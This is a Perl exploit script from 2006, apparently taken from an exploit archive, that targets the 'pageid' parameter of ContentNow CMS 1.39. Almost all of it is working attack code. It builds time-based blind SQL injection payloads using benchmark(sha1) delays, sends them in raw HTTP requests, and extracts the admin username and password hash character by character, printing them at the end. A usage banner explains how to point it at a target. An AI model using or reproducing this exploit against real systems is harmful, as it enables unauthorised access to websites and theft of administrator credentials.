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contentnow_139_sqlinj.pl.txt

Posted on 22 November 2006

#!/usr/bin/perl -w

use IO::Socket;
use strict;

#   ContentNow "pageid" Sql Injection
# Version  : 1.39
#     Url  : http://www.contentnow.mf4k.de
# Author   : Alfredo 'revenge' Pesoli
# Advisory : http://www.0xcafebabe.it/advisory/contentnow_139_sqlinjection.txt
#
# Description:
#
# The "pageid" parameter isn't properly sanitised before being returned in sql query
# and can be used to inject craft SQL queries, we can use Blind SQL Injection attack
# to disclose admin credential.
#
# Works regardless of magic quotes
#
# http://www.0xcafebabe.it
# <revenge@0xcafebabe.it>

if (@ARGV < 2) { &usage; }

my $delay	= "1500000";
my $host        = $ARGV[0];
my $dir         = $ARGV[1];
if ($ARGV[2] ) { $delay = $ARGV[2]; }

print "
Target url : ".$host.$dir."

";
$host =~ s/(http://)//;

my @array = ("user","password");

print "--== Trying to perform sql injection ==--

";
sleep(1);

&sploit();

sub sploit() {
my $x 		= "";
my $i		= "";
my $string	= "";
my $res		= "1";

for ( $x=0; $x<=$#array; $x++ ) {
my $j = 1;
$res  = 1;
while ($res) {
for ($i=32;$i<=127;$i++) {
$res = 0;

if ( $x eq 1 ) {
next if ( $i < 48 );
next if ( ( $i > 57 ) and ( $i < 97 ) );
next if ( $i > 102 );
}

my $val  = "index.php?";

$val .= "pageid=(select(if((ascii(substring($array[$x],$j,1))=$i),benchmark(".$delay.",sha1(13)),0))/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1)";
my $data=$dir.$val;
my $start = time();

my $req = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Error - connection failed

";
print $req "GET $data HTTP/1.1
";
print $req "Host: $host
";
print $req "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (GNU Linux)
";
print $req "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
print $req "Accept-Language: en-us;q=0.7,en;q=0.3
";
print $req "Accept-Encoding: gzip,deflate
";
print $req "Keep-Alive: 300
";
print $req "Connection: Keep-Alive
";
print $req "Cache-Control: no-cache
";
print $req "Connection: close

";

while (my $result = <$req>) {
if ( $result =~ /404 Not Found/ ) {
printf "

File not found.

";
print "

$result

";
exit;
}
if ( $result =~ /400 Bad Request/ ) {
printf "

Bad request.

";
print "

$result

";
exit;
}
}
my $end = time();
my $dft = $end - $start;

if ( $dft > 4 ) {
$string .= chr($i);
print "
	Found : ".chr($i)."

";
$res = 1;
last;
}
print "	Trying : ".chr($i)."
";
}
$j++;
if ( !$res ) {
$array[$x] = $string;
$string = "";
}
}
}
print "
----------------------
";
print "Admin username : $array[0]
";
print "Admin password : $array[1]

";
}

sub usage() {
print "
 ContentNow CMS 1.39 'pageid' SQL Injection Exploit (Admin credentials disclosure)
";
print " <revenge@0xcafebabe.it>
";
print " http://www.0xcafebabe.it

";
print "Usage: $0 <target> <directory> [benchmark_delay]
";
print "Example: $0 127.0.0.1 /contentnow/ 2000000

";
exit();
}

 

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